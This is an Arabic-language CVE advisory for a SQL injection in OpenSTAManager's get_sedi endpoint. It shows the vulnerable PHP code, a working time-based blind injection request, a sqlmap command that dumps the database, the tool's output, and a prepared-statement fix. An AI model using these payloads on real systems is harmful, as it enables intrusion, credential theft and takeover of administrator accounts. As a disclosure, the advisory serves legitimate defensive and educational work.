
CVE-2025-69213 - OpenSTAManager يحتوي على ثغرة حقن SQL في ajax_complete.php (نقطة النهاية get_sedi)
| الحقل | التفاصيل |
|---|---|
| معرف CVE | CVE-2025-69213 |
| درجة الخطورة | HIGH |
| التقرير الاستشاري | عرض التقرير |
| اكتشفها | Lukasz Rybak |
توجد ثغرة حقن SQL في نقطة نهاية ajax_complete.php عند معالجة عملية get_sedi. يمكن لمهاجم مُصادَق عليه حقن كود SQL خبيث عبر معامل idanagrafica، مما يؤدي إلى وصول غير مصرح به إلى قاعدة البيانات.
الملف: modules/anagrafiche/ajax/complete.php:28
case 'get_sedi':
$idanagrafica = get('idanagrafica');
$q = "SELECT id, CONCAT_WS( ' - ', nomesede, citta ) AS descrizione
FROM an_sedi
WHERE idanagrafica='".$idanagrafica."' ...";
$rs = $dbo->fetchArray($q);
$_GET['idanagrafica'] → get('idanagrafica')$dbo->fetchArray($q) الاستعلام الخبيثإثبات مفهوم يدوي (حقن SQL أعمى قائم على الوقت):
GET /ajax_complete.php?op=get_sedi&idanagrafica=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=<valid-session>
الاستغلال عبر SQLMap:
sqlmap -u "http://localhost:8081/ajax_complete.php?op=get_sedi&idanagrafica=1*" \
--cookie="PHPSESSID=<session>" \
--dbms=MySQL \
--technique=T \
--level=3 \
--dump
مخرجات SQLMap:
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: idanagrafica=1' AND (SELECT 2572 FROM (SELECT(SLEEP(5)))oOnc)-- rhVF
back-end DBMS: MySQL >= 5.0.12
zz_users للحصول على وصول إداريSELECT ... INTO OUTFILE إذا كانت صلاحيات الملفات تسمح بذلكاستبدل الدمج المباشر بعبارات مُعدّة مسبقًا (prepared statements):
قبل:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica='".$idanagrafica."' ...";
بعد:
$idanagrafica = get('idanagrafica');
$q = "SELECT ... WHERE idanagrafica=".prepare($idanagrafica)." ...";
اكتشفها: Łukasz Rybak
تم الإفصاح عن هذه الثغرة (CVE) بمسؤولية وفقًا لممارسات الإفصاح المنسق عن الثغرات الأمنية. المعلومات الواردة هنا مخصصة للأغراض التعليمية والدفاعية فقط.